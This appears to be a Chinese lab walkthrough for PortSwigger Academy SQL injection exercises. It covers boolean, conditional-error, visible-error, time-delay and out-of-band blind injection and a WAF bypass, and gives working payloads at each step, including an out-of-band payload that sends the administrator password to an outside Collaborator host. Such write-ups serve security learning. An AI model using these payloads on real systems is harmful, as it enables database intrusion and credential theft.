burp靶场sql注入通关—下

第十一关(布尔盲注):

1.根据提示修改包含 TrackingId cookie的请求,先抓包并修改这个值,在后面加上永真式发现出现Welcome back

TrackingId=xxxx' and '1'='1

  再修改这个值为永假式看看,发现没有Welcome back,有两种是或不是回显说明是布尔类型的

2.利用是否有正确回显判断后面语句是否正确,出现Welcome back说明存在users表

TrackingId=xxxx' and (select 'a' from users LIMIT 1)='a

3.确定users表中是否存在administrator用户

TrackingId=xxxx' and (select username from users where username='administrator')='administrator

4.判断密码的长度,根据提示可知密码只包含小写字母和数字

TrackingId=xxxx' and (select username from users where username='administrator' and LENGTH(password)>2)='administrator

最终尝试出来密码长度为20

5.接下来测试出每位密码的值

TrackingId=xxxx' and (select substring(password,1,1) from users where username='administrator')='a

  最后得到密码为:2j1255423gxam09ettyx

6.使用该密码登录即可通关

第十二关(条件错误的盲注):

1.有题目可知这关是有错误回显的,先抓包对TrackingId值测试,出现报错说明不是单引号闭合

  再加一个单引号不报错了,说明是双引号闭合

2.确定是否存在注入点,需要使用有效的SQL语法构造一个查询

TrackingId=xxxx'||(select '' from dual)||'

  返回一个不存在的表名,这时出现了错误回显,说明存在错误注入

测试根据特定条件的真值有条件地触发错误

'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            报错

'||(select CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            不报错

CASE语句:如果条件(when)为真,则计算前一个(then)表达式;如果条件为假,则计算后一个(else)表达式。

3.确定数据库中是否存在users表

TrackingId=xxxx'||(select '' from users where rownum=1)||'

4.确定users表中是否存在administrator用户,报错说明存在

TrackingId=xxxx'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

因为from后的语句正确,所以执行when;when一定正确,所以执行then出现错误

5.确定密码的长度

TrackingId=xxxx'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 

=20报错且>20不报错,说明密码长度为20

6.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

   整理得到密码为:ydyo5oe5ops0k8ttwt25

6.使用该密码登录即可通关

第十三关(可见错误的盲注):

1.首先在Proxy—HTTP history里找到包含TrackingId的GET类型的数据包

2.判断是否存在注入点,出现对SQL语句的报错,注释后恢复正常,说明存在报错注入

3.调整使用select查询,并将返回值转换为int型

TrackingId=xxxx'+AND+CAST((SELECT+1)+AS+int)--

4.错误提示需要将payload更改为布尔类型,这次没有出现错误提示

TrackingId=xxxx'+AND+1=CAST((SELECT+1)+AS+int)--

5.从users表确定是否存在administrator用户,发现又出现错误

6.再根据提示出现未预料到的字符串,将TrackingID值删去

TrackingId='+AND+1=CAST((SELECT username FROM users)+AS+int)--

7.又出现错误说超过一行,再修改payload,结果回显说明存在administrator

TrackingId='+AND+1=CAST((SELECT username FROM users LIMIT 1)+AS+int)--

8.从users表中获得administrator的密码

TrackingId='+AND+1=CAST((SELECT password FROM users LIMIT 1)+AS+int)--

9.利用得到的密码登录即可通关

第十四关(时间延迟的盲注):

1.这关需要制造10秒的延迟,首先抓包测试是否存在注入点,发现是由单引号闭合的

2.利用sleep函数让网页延迟10秒即可通过

TrackingId=xxxx'|| pg_sleep(10)--

第十五关(时间延迟和信息检索的盲注):

1.这关需要触发条件时间延迟来推断信息,首先判断是否存在sql注入点,睡眠了5秒说明存在

验证应用程序是否立即响应,没有时间延迟,这样测试单个布尔条件并推断结果

TrackingId=xxxx'|| select CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

2.判断users表中是否有用户为administrator

TrackingId=xxxx'||(select CASE WHEN (username='administrator') THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

3.确定administrator密码的长度,最后得到密码长度为20

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and length(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

4.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and substring(password,1,1)=''a) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

最后得到密码为:v7xdghg0xwm530oh8vbs

5.使用该密码登录即可通关

第十六关(外带交互的盲注):

1.这关由于SQL查询是异步执行的,对应用程序的响应没有影响,可以通过触发与外部域的外带交互来进行注入

   首先对Burp Collaborator进行DNS查询,其中Collaborator相当于外部服务器

2.构造payload利用extractvale函数报错将xml数据外带

TrackingId=xxxx' union select EXTRACTVALUE(xmltype('<%3fxml version%3d"1.0" encoding%3d"UTF-8"%3f><!DOCTYPE root [+<!ENTITY %25 remote SYSTEM "http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

划线部分填上一步复制的DNS

3.在collaborator看到执行payload后产生的信息

第十七关(外带数据渗出的盲注):

1.这关需要找到administrator的密码,还是先打开服务器端

2.构造payload将密码爆出

TrackingId=xxxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

3.复制得到的密码进行登录即可通关

第十八关(XML编码绕过):

1.这关需要获取管理员用户的凭据并登录,使用 Hackvertor 扩展绕过WAF

   先点击一个商品,根据提示抓check stock的包

2.接下来判断在storeID处是否存在注入点,可以发现库存减少了变为ID=2的商品的,说明存在注入点

3.尝试使用联合查询确定返回的列数,被发现存在攻击

4.安装插件Hackvertor

5.将数据包利用Hackvertor编码,这样就不会显示被攻击

6.从users表中获取administrator密码

1 union select username || '~' || password from users

7.使用获得的账号密码即可通关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/832662.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenNJet下载安装及入门实战教程

一、什么是OpenNJet OpenNJet是一款开放原子开源基金会孵化及运营的开源项目。OpenNJet采用C语言实现。是一款高性能、轻量级的WEB应用及代理软件。    OpenNJet 应用引擎是高性能、轻量级的WEB应用与代理软件。作为云原生服务网格的数据平面&#xff0c;NJet具备动态配置加载…

Docker容器内容总结

目录 一、Docker概述 1.Docker是什么 2.Docker三个统一方式 3.Docker三要素 4.Docker底层原理 5.Docker常规命令 6.Docker网络 7.Docker散装的功能 二、Dockerfile 1.Dockerfile创建镜像流程 2.Dockerfile常规指令 三、Docker-Compose 1.YML文件内部控制参数 2.Do…

python数据分析所需要的语法基础

Python语言基础——语法基础 前言语法基础变量标识符数据类型输入与输出代码缩进与注释 总结 前言 对于学过C语言的人来说&#xff0c;python其实很简单。学过一种语言&#xff0c;学习另一种语言&#xff0c;很显然的能感觉到&#xff0c;语言大体上都是相通的。当然&#xf…

Mac升级go版本某种错误情况处理

当看到 "go1.21 is keg-only, which means it was not symlinked into /opt/homebrew" 这样的信息时&#xff0c;意味着Homebrew没有自动为你创建指向新版本Go的符号链接&#xff08;symlink&#xff09;&#xff0c;因为这是一个旧版本Go的替代版本。 Homebrew中的…

速盾高防CDN的防御能力如何?

速盾高防CDN是一种网络安全解决方案&#xff0c;旨在保护网站免受各种网络攻击&#xff0c;如分布式拒绝服务&#xff08;DDoS&#xff09;攻击、恶意爬虫、SQL注入等。它通过使用先进的防御技术和强大的基础设施来提供出色的防御能力。 首先&#xff0c;速盾高防CDN具备强大的…

Python画图时好看的颜色列表,7个颜色

在Python中&#xff0c;使用matplotlib库可以画出各种图表&#xff0c;并且可以自定义颜色。以下是一些常用的颜色列表&#xff0c;这些颜色搭配起来既美观又能在图表中区分不同的数据集&#xff1a; 鲜艳颜色列表&#xff1a; colors [#FF5E5E, #00A1CB, #FABE28, #2B3E51,…

企业微信hook接口协议,ipad协议http,客户群发送任务,获取要发送的客户群列表

客户群发送任务&#xff0c;获取要发送的客户群列表 参数名必选类型说明uuid是String每个实例的唯一标识&#xff0c;根据uuid操作具体企业微信 请求示例 {"uuid": "1688853790533324","id":1101292747044333637, //群发任务id"keyword…

3.栈和队列(汇总版)

目录 1.栈&#xff08;一端插和删&#xff09; 2.队列&#xff08;一端插另一段删&#xff09; 2.1队列的概念及结构 2.2 队列的实现 队列的接口 1.初始化队列 2.销毁队列 3.插入元素 4.出队列&#xff08;头删&#xff09; 5.访问对头 6.访问队尾 7.判断队列是否为…

发布时间格式化工具函数

发布时间格式化工具函数 概述 本文档介绍了一套用于解析和格式化日期时间字符串的工具函数&#xff0c;旨在提供一种简便的方法来处理日期和时间数据&#xff0c;同时确保在不同设备和时区下的兼容性。 函数说明 parseDateString(dateString) 这个函数用于将一个符合特定格…

CMakeLists.txt语法规则:foreach循环的关键字

一. 简介 前一篇文章学习了 CMakeLists.txt语法中 foreach循环的基本用法。文章如下&#xff1a; CMakeLists.txt语法规则&#xff1a;foreach 循环基本用法-CSDN博客 本文继续 CMakeLists.txt语法中 foreach循环语句&#xff0c;主要学习 foreach循环中的关键字。 二. CM…

Android 官网Ota介绍

构建 OTA 软件包 | Android 开源项目 | Android Open Source Project

(网络初识)

网络发展史 独立模式 在最开始计算机被发明出来&#xff0c;但网络还未普及的情况下&#xff0c;每个计算机之间都是相互独立的&#xff1a; 假设现在有一份数据需要处理&#xff0c;然后这份数据的处理又分给三个人分别处理。假设小松处理进行第一部分的处理&#xff0c;当小…

Skywalking的重要功能详解

学习本篇文章之前首先要了解一下Sky walking的基础知识 分布式链路追踪工具Sky walking详解 一&#xff0c;Sky walking监控数据库 在admin服务中&#xff0c;连接数据库查询user表中所有数据 引入依赖 <dependency><groupId>mysql</groupId><artifactI…

上位机图像处理和嵌入式模块部署(树莓派4b和qt应用全屏占有)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 我们都知道&#xff0c;嵌入式应用一般都是为了某一个特定应用而存在的。也就是说&#xff0c;和pc不同&#xff0c;这个嵌入式板子一般都是为了解…

消息队列面试题(四)

1. 如何监控消息队列的性能和健康状况&#xff1f; 监控消息队列的性能和健康状况是确保系统稳定、高效运行的关键环节。以下是一些建议的步骤和策略&#xff1a; 1. 使用内置指标 许多消息队列系统&#xff08;如Kafka、RabbitMQ等&#xff09;都提供了丰富的内置指标&…

10分钟快速使用Prometheus监控nginx

配置 Nginx 以输出监控数据 修改 Nginx 配置&#xff1a; 在 Nginx 配置文件 /etc/nginx/nginx.conf 中的 server 块添加如下配置&#xff1a; location /stub_status {stub_status on;access_log off;allow 0.0.0.0/0;deny all; }重启 Nginx&#xff1a; 通过命令重启 Nginx 服…

List转字符串

List:[“a”,“b”,“c”] 转换后&#xff1a;a,b,c 1、String.join // 1. 创建一个List集合 数量不可变List<String> list List.of("a", "b", "c");//list [a, b, c]System.out.println("list " list);String join Strin…

多组间比较散点图+误差棒(自备)

目录 数据 计算四分位值 作图 数据 rm(list ls()) library(ggplot2) library(dplyr) library(ggpubr) library(reshape2) library(tidyverse)data <- iris##鸢尾花数据集 dat <- data[,c(5,1)]#单个数据进行分析 计算四分位值 #根据分组计算四分位及中位数 dat1 …

Unit4

&#x1f4e3;Unit4 ✨1. merge&#xff0c;merse 合并&#xff1b;吞没 merge merger emerge emerging emergence emergency immerse immersive ✨2. ject 投掷&#xff1b;投射 eject inject injection project reject rejection subject be subject to sth subje…

【C++】HP-Socket(三):UdpClient、UdpServer、UdpCast、UdpNode的区别

1、简述 UDP是无连接的&#xff0c;在UDP传输层中并没有客户端和服务端的概念。但是可以在应用层定义客户端和服务端&#xff0c;可以灵活的互换客户端和服务端&#xff0c;或者同时既是客户端也是服务端。 HP-Socket中在应用层定义了四种UDP组件&#xff1a;UdpClient、UdpS…